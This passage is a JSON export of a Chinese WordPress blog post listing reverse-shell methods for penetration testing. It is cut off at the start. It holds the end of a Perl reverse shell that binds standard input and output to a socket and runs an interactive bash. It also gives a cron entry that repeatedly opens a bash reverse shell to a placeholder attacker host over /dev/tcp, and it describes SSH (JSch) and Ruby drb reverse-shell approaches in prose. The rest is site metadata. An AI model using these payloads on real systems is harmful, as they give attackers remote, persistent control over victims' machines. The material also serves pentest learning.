=&gt;'tcp');\ndie\"Could not create socket: $!n\"unless $sock;\n# \u5c06\u6807\u51c6\u8f93\u5165\u3001\u8f93\u51fa\u548c\u9519\u8bef\u8f93\u51fa\u91cd\u5b9a\u5411\u5230socket\nopen STDIN,\"&gt;&amp;=$sock\";\nopen STDOUT,\"&gt;&amp;=$sock\";\nopen STDERR,\"&gt;&amp;=$sock\";\n# \u542f\u52a8shell\nexec(\"\/bin\/bash -i\");<\/code><\/pre>\n<h1>21. \u5229\u7528Java\u7684JSch\u5e93\u8fdb\u884cSSH\u53cd\u5f39\uff08\u7c7b\u4f3cparamiko\uff09<\/h1>\n<p>JSch\u662f\u4e00\u4e2aJava\u5b9e\u73b0\u7684SSH2\u5e93\uff0c\u53ef\u4ee5\u7528\u4e8e\u521b\u5efaSSH\u8fde\u63a5\u3002\u5982\u679c\u76ee\u6807\u7cfb\u7edf\u5141\u8bb8SSH\u8fde\u63a5\uff0c\u5e76\u4e14\u653b\u51fb\u8005\u62e5\u6709\u51ed\u636e\uff0c\u90a3\u4e48\u53ef\u4ee5\u4f7f\u7528JSch\u8fdb\u884cSSH\u53cd\u5f39\u3002<\/p>\n<p>\u56e0\u4e3a\u6d89\u53ca\u7684\u5185\u5bb9\u8f83\u591a\uff0c\u5305\u62ec\u8bbe\u7f6eSSH\u670d\u52a1\u5668\u3001\u5904\u7406\u8ba4\u8bc1\u7b49\uff0c\u4e0d\u518d\u7ed9\u51fa\u5b8c\u6574\u7684Java\u4ee3\u7801\u793a\u4f8b\u3002\u4f46\u57fa\u672c\u601d\u8def\u662f\uff1a\u5728\u653b\u51fb\u8005\u7aef\u8bbe\u7f6e\u4e00\u4e2aSSH\u670d\u52a1\u5668\uff0c\u7136\u540e\u5728\u76ee\u6807\u7aef\u4f7f\u7528JSch\u5e93\u8fde\u63a5\u5230\u8be5\u670d\u52a1\u5668\uff0c\u5e76\u5f00\u542f\u4e00\u4e2a\u53cd\u5411\u96a7\u9053\u3002<\/p>\n<h1>22. \u4f7f\u7528Ruby\u7684drb\uff08Distributed Ruby\uff09\u8fdb\u884c\u53cd\u5f39<\/h1>\n<p>Ruby\u7684drb\uff08Distributed Ruby\uff09\u53ef\u4ee5\u7528\u4e8e\u521b\u5efa\u5206\u5e03\u5f0f\u5bf9\u8c61\u7cfb\u7edf\u3002\u867d\u7136\u4e0d\u5e38\u7528\u4e8e\u53cd\u5f39shell\uff0c\u4f46\u5728\u67d0\u4e9b\u573a\u666f\u4e0b\u53ef\u80fd\u662f\u4e00\u4e2a\u6709\u8da3\u7684\u9009\u62e9\u3002<\/p>\n<p>\u6ce8\u610f\uff1a\u7531\u4e8edrb\u4e0d\u662f\u4e13\u95e8\u7528\u4e8e\u53cd\u5f39shell\u7684\uff0c\u56e0\u6b64\u5b9e\u73b0\u8d77\u6765\u53ef\u80fd\u6bd4\u8f83\u590d\u6742\uff0c\u5e76\u4e14\u9700\u8981\u653b\u51fb\u8005\u8bbe\u7f6e\u4e00\u4e2aDRuby\u670d\u52a1\u5668\u3002<\/p>\n<h1>23. \u5229\u7528\u76ee\u6807\u7cfb\u7edf\u7684\u8ba1\u5212\u4efb\u52a1\u6216cron\u4f5c\u4e1a<\/h1>\n<p>\u5982\u679c\u653b\u51fb\u8005\u80fd\u591f\u5728\u76ee\u6807\u7cfb\u7edf\u4e0a\u6dfb\u52a0\u8ba1\u5212\u4efb\u52a1\u6216cron\u4f5c\u4e1a\uff0c\u90a3\u4e48\u53ef\u4ee5\u8bbe\u7f6e\u4e00\u4e2a\u4efb\u52a1\u6765\u6267\u884c\u53cd\u5f39shell\u547d\u4ee4\u3002<\/p>\n<p>\u4f8b\u5982\uff0c\u5728Linux\u7cfb\u7edf\u4e0a\uff0c\u53ef\u4ee5\u4f7f\u7528crontab -e\u6765\u6dfb\u52a0\u4e00\u4e2a\u5b9a\u65f6\u4efb\u52a1\uff1a<\/p>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li>\/bin\/bash -c &#8216;bash -i &gt;&amp; \/dev\/tcp\/x.x.x.x\/1234 0&gt;&amp;1&#8217;v<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h1>24. 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2025-05-06 11:18:12<br \/>\n\u539f\u6587: <a href=\"https:\/\/www.yuque.com\/yuhui.net\/network\/qcsghpruvtkcy4bp\">https:\/\/www.yuque.com\/yuhui.net\/network\/qcsghpruvtkcy4bp<\/a><\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>27\u79cd\u53cd\u5f39shell\u65b9\u6cd5 \u5728\u6e17\u900f\u6d4b\u8bd5\u7684\u5b9e\u8df5\u4e2d\uff0c\u53cd\u5f39shell\uff08Reverse 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[&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[119,120,2],"tags":[22,29,57,73,93],"class_list":["post-759","post","type-post","status-publish","format-standard","hentry","category-shentouceshijichu-network_sec","category-loudongleibie","category-network_sec","tag-windows","tag-java","tag-python","tag-wangluoanquan","tag-fanghuoqiang"],"_links":{"self":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts\/759","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/comments?post=759"}],"version-history":[{"count":0,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/posts\/759\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/media?parent=759"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/categories?post=759"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.youvii.site\/index.php\/wp-json\/wp\/v2\/tags?post=759"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}